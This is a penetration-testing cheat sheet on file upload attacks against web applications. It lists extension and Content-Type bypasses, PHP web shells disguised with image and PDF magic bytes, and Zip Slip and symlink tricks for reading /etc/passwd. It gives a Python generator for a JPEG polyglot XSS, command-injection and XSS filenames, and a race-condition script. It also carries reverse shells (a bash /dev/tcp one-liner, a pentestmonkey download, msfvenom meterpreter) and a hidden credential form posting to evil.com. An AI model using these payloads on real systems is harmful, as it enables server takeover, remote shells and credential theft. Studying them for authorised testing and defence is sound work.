File Upload Attack

Last modified: 2023-11-11

Web

It is often used for gaining access to the target shell using Reverse Shell, or getting sensitive information using Remote Code Execution (RCE).

Check Allowed File Formats

First off, we need to know what file types are allowed to be uploaded in target website.
Try to upload any formats.

.php, .php3, .php4, .php5, .phtml, .phar
.jpg, jpeg, .png, .gif
.bmp
.pdf
.js
.exe, .dll, .asp, .aspx
.py
.go
.rs

Create Blank Files for Each Format

To create a blank file for the checking purpose, execute the following command.

  • jpg, png
# https://superuser.com/questions/294943/is-there-a-utility-to-create-blank-images
convert -size 32x32 xc:white test.jpg
convert -size 32x32 xc:white test.png
  • pdf
# https://unix.stackexchange.com/questions/277892/how-do-i-create-a-blank-pdf-from-the-command-line
convert xc:none -page Letter a.pdf

Bypass File Extension Validation

We might be able to bypass file extension validation by modifying the filename.
For example, if we cannot upload a pure .php file extension, tweak the filename a bit as below.

exploit.php
exploit.php3
exploit.php4
exploit.php5
exploit.phtml
exploit.phar

exploit.jpg.php
exploit.jpeg.php
exploit.png.php
exploit.gif.php
exploit.pdf.php

exploit.php.
exploit.php.jpg
exploit.php.jpeg
exploit.php.png
exploit%2Ephp
exploit.p.phphp
exploit.php%00.jpg
exploit.php%0d%0a.jpg

exploit.PHP
exploit.pHp

exploit.php/
exploit.php//
exploit.php\
exploit.php#
exploit..php

Bypass Content-Type Validation

We might be able to bypass the content type validation by modifying that.
For example, assume that we want to upload PHP file to execute webshell or reverse shell, but PHP files are rejected by the website.
In this situation, we might be able to bypass the validation by modifying the "Content-Type" from "application/x-php" to other types such as "image/jpeg", "plain/text" etc.
Here is the example.

------abcdefghijk
Content-Disposition: form-data; name="avatar"; filename="exploit.php"
Content-Type: image/jpeg <!-- Change this. Try other types such as image/gif, plain/text, etc. -->

<?php echo system($_GET['cmd']); ?>

------abcdefghijk

Change Upload Location by Filename

We might be able to upload our file to unintended location by path traversing with filename e.g. ../example.php or ..%2Fexample.php.

------abcdefghijk
Content-Disposition: form-data; name="avatar"; filename="..%2fexploit.php" <!-- Change this. -->
Content-Type: application/x-php

<?php echo system($_GET['cmd']); ?>

------abcdefghijk

Overwrite Server Configuration

We might be able to overwrite the web server configuration file such as ".htaccess", ".htpasswd" by specifying the filename to the name of the config file and write desired contents of that.

------abcdefghijk
Content-Disposition: form-data; name="avatar"; filename=".htaccess" <!-- Specify the name of config file -->
Content-Type: text/plain

AddType application/x-httpd-php .abc

------abcdefghijk

Magic Bytes

Reference: Wikipedia

If the website checks the magic byte of the uploaded file for allowing only image files to be uploaded, we might be able to bypass this validation by adding magic bytes before the actual payload.

The exif_imagetype() PHP function is likely to be used for such validation.
In addition, we may need to change other values such as "Content-Type" depending on the situation.

PNG

Hex Signature ISO 8859-1
89 50 4E 47 0D 0A 1A 0A ‰PNG␍␊␚␊

Payload example:

‰PNG␍␊␚␊
<?php echo system($_GET['cmd']); ?>

JPG/JPEG

Hex Signature ISO 8859-1
FF D8 FF EE ÿØÿî
FF D8 FF E0 ÿØÿà
FF D8 FF E0 00 10 4A 46 49 46 00 01 ÿØÿà␀␐JFIF␀␁

Payload example:

ÿØÿî
<?php echo system($_GET['cmd']); ?>

// or

ÿØÿà
<?php echo system($_GET['cmd']); ?>

// or

ÿØÿà␀␐JFIF␀␁
<?php echo system($_GET['cmd']); ?>

PDF

Hex Signature ISO 8859-1
25 50 44 46 2D %PDF-

Payload example:

%PDF-
<?php echo system($_GET['cmd']); ?>

GIF

Reference: Web Design in a Nutshell

  • GIF87a: The original format for indexed color images. It uses LZW compression and has the option of being interlaced.
  • GIF89a: Is the same as GIF87a but also includes transparancy and animation capabilities.
Hex Signature ISO 8859-1
47 49 46 38 37 61 GIF87a
47 49 46 38 39 61 GIF89a

Payload example:

GIF87a
<?php echo system($_GET['cmd']); ?>

// or

GIF89a
<?php echo system($_GET['cmd']); ?>

RIFF WAVE

Hex Signature ISO 8859-1
52 49 46 46 ?? ?? ?? ?? 57 41 56 45 RIFF????WAVE

Payload example:

RIFF????WAVE
<?php echo system($_GET['cmd']); ?>

Zip

If target website restricts uploads to zip files only, the website (server) may unzip uploaded files internally and displays the result of decompressed file somewhere e.g. /upload/example.txt.

Zip Slip

Create a file containing ‘../’ in the filename, and compress this file.

echo '<?php echo system("id");?>' > '../test.php'
zip test.zip '../test.php'

After uploading the zip file, target website (server) will decompress this file and may store the test.php file into unexpected directory.

In local machine, create a symbolic link for a sensitive file. Then compress the symlink with zip.

ln -s /etc/passwd passwd.txt
zip --symlink test.zip passwd.txt

When we upload the zip file to target website, the website decompress the zip file and may display the file of the symbolic link (/etc/passwd, etc.). In short, we may be able to see the contents of the sensitive file.


JPEG Polyglot XSS

Reference: https://infosecwriteups.com/exploiting-xss-with-javascript-jpeg-polyglot-4cff06f8201a

We may be able to inject XSS by inserting arbitrary JavaScript code into a JPEG file.
We can generate automatically a polyglot JPEG with imgjs_polygloter.

Below is the manual exploitation flow.

1. Prepare JPEG Image

Here we create a blank JPEG image using convert command.

convert -size 100x100 xc:white evil.jpg

# Backup for reproduction
cp evil.jpg evil_original.jpg

2. Create XSS Payload in Hex

We will insert the following JavaScript code.

*/=alert("test");/*

To insert it into JPEG file, we need to convert this to HEX as below:

2A 2F 3D 61 6C 65 72 74 28 22 74 65 73 74 22 29 3B 2F 2A

3. Start Hex Editor

Start Hex editor to modify our evil.jpg. We use ghex here but you can use your favorite HEX editor.

ghex evil.jpg

The original hex representation of the evil.jpg is as such follow:

FF D8 FF E0 00 10 4A 46 49 46 00 01 01 01 00 48 00 ...

# Details of the Hex
# FF D8: Start of image
# FF E0: Application default header
# 00 10: The length of the JPEG header (`00 10` represents 16 bytes)

4. Insert Our JavaScript into JPEG File

Now start inserting our payload.
First we replace 00 10 after FF D8 FF E0 with our 2F 2A (/*).

FF D8 FF E0 2F 2A 4A 46 49 46 00 01 01 01 00 48 00 ...

By this, the length of the JPEG header is 12074 bytes (0x2F2A in decimal).

Since the size of our payload is 19 bytes as below:

python3
>>> payload = b'*/=alert("test");/*'
>>> len(payload)
19

We need to pad out the remaining 12042 bytes (12074 - 16 - 19) with nulls.
Below is the Python code example to generate a polyglot JPEG file, which refers to https://github.com/simplylu/jpeg_polyglot_xss/blob/main/exploit.py.

payload = b'*/=alert("test");/*'
input_file = 'evil_original.jpg'
output_file = 'evil.jpg'

a = open(input_file, 'rb').read()

# Get the length of the header
header_size = int(a.hex()[8:12], 16)
new_header_size = int(payload.hex()[2:4]+payload.hex()[:2], 16)

# Calculate the size of nulls for padding
null_size = new_header_size - header_size - 16

# Get start and end
start = a[:40]
end = a.hex()[40:]
end = bytearray([int(end[i:i+2], 16) for i in range(0, len(end), 2)])

res = start + (null_size * b'\x00') + payload + end

with open(output_file, 'wb') as f:
	f.write(res)

5. XSS with this JPEG

Inject XSS to make our JPEG to execute JavaScript code. We need to set charset to ISO-8859-1 for executing that.

<script charset="ISO-8859-1" src="evil.jpg">

Malicious Filnames

Command Injection

# If the response comes after 10 seconds, the command injection is successful.
test.jpg;sleep 10
test.jpg;sleep+10
test.jpg;sleep 10#
test.jpg;sleep 10%00
test.jpg|sleep 10
test.jpg%0Asleep 10
;sleep 10 test.jpg

# Reverse Shell
test.jpg;bash -i >& /dev/tcp/10.0.0.1/4444 0>&1

PHP Injection

<?php echo system('id');?>.jpg
"><?php echo system('id');?>.jpg

XSS

<script>alert(1)</script>.jpg
"><script>alert(1)</script>.jpg

SSTI

{{2*3}}.jpg
{2*3}.jpg
2*3.jpg
2*3}}.jpg
2*3}.jpg
${2*3}.jpg
"{{2*3}}.jpg

Truncation

xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxtest.jpg
test.jpgxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

HTML Injection

Try to upload the file which includes HTML tags in the filename. It may affect the web page.

<h1>test.jpg

<!-- `&sol;`: HTML entiry for '/' -->
"><iframe src="http:&sol;&sol;10.0.0.1">.jpg

"><img src=x onerror=alert(document.domain).jpg

"><form action="//evil.com" method="GET"><input type="text" name="username" style="opacity:0;"><input type="password" name="password" style="opacity:0;"><input type="submit" name="submit" value="submit"><!--.jpg

SQL Injection

Try to upload the file which includes SQL command in the filename. It may execute SQL Injection when uploading or other situations.

--sleep(10).jpg

Race Condition Attack

We might be able to bypass/execute payload using race condition.
We can easily achieve that with Turbo Intruder in Burp Suite.

def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                        concurrentConnections=10,)

    request_post = '''POST /avatar/upload HTTP/1.1
Host: vulnerable.com
...
...
Connection: close

------abcdefghi
Content-Disposition: form-data; name="avatar"; filename="exploit.php"
Content-Type: application/x-php

<?php echo file_get_contents('/etc/passwd');  ?>

------abcdefghijk--

'''

    request_get = '''GET /files/avatars/exploit.php HTTP/1.1
Host: vulnerable.com
...
...
Connection: close


'''

    engine.queue(request_post, gate='race1')
    for i in range(5):
        engine.queue(request_get, gate='race1')


    engine.openGate('race1')
    engine.complete(timeout=60)
    


def handleResponse(req, interesting):
    table.add(req)

PHP Payloads

After finding vulnerability, we can create a payload for exploiting the website.
Here is the example payloads of web shell and reverse shell to compromise target system.

Web Shell

For example, the file name is "exploit.php".

// Simply showing the result of 'whoami'.
<?php echo system('whoami'); ?>

// This shows the content of "/etc/passwd".
<?php echo file_get_contents('/etc/passwd');  ?>

// We can execute arbitrary commands by passing the url parameter e.g. "/exploit.php?cmd=whoami"
<?php echo system($_GET['cmd']); ?>

Reverse Shell for Linux

wget https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php -O shell.php
# or
cp /usr/share/webshells/php/php-reverse-shell.php ./shell.php

# Edit some variables in the payload
$ip = '<attacker-ip>'
$port = 4444

Or we might be able to use the following simple script.

<?php shell_exec("/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1'"); ?>

Then open listener for getting a shell.

nc -lvnp 4444

After uploading it, reload the page in which the payload uploaded e.g. "/upload/shell.php".

Reverse Shell for Windows

First create a malicious executable file using msfvenom.
Replace 10.0.0.1 with your local ip.

# -f: Format
# -p: Payload
# -o: Output file
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f exe -o cv-username.exe

Next start a listener for getting the target shell.

# -x: Execute command
sudo msfconsole -x "use exploit/multi/handler; set PAYLOAD windows/x64/meterpreter/reverse_tcp; set LHOST 10.0.0.1; set LPORT 4444; exploit"

After getting the shell, we will get in the meterpreter, so we need to know the meterpreter’s commands. To get a list of command, run the following in the meterpreter.

# Usage command
meterpreter> ?

Other Tips


Craft Upload Request

If website does not display the upload page but such functionality exists on the website, we can manually create the uploading request.
First off, we need to set multipart/form-data; boundary=<arbitrary_characters> to Content-Type in HTTP headers as below.
Of course we need to specify the POST method at the top of the header.

Content-Type: multipart/form-data; boundary=abcdef

Then we can surround POST body (to upload file) with this boundary as the following.

--abcdef
Content-Disposition: form-data; name="profile"; filename="test.png"
Content-Type: image/jpeg

some code here...
--abcdef--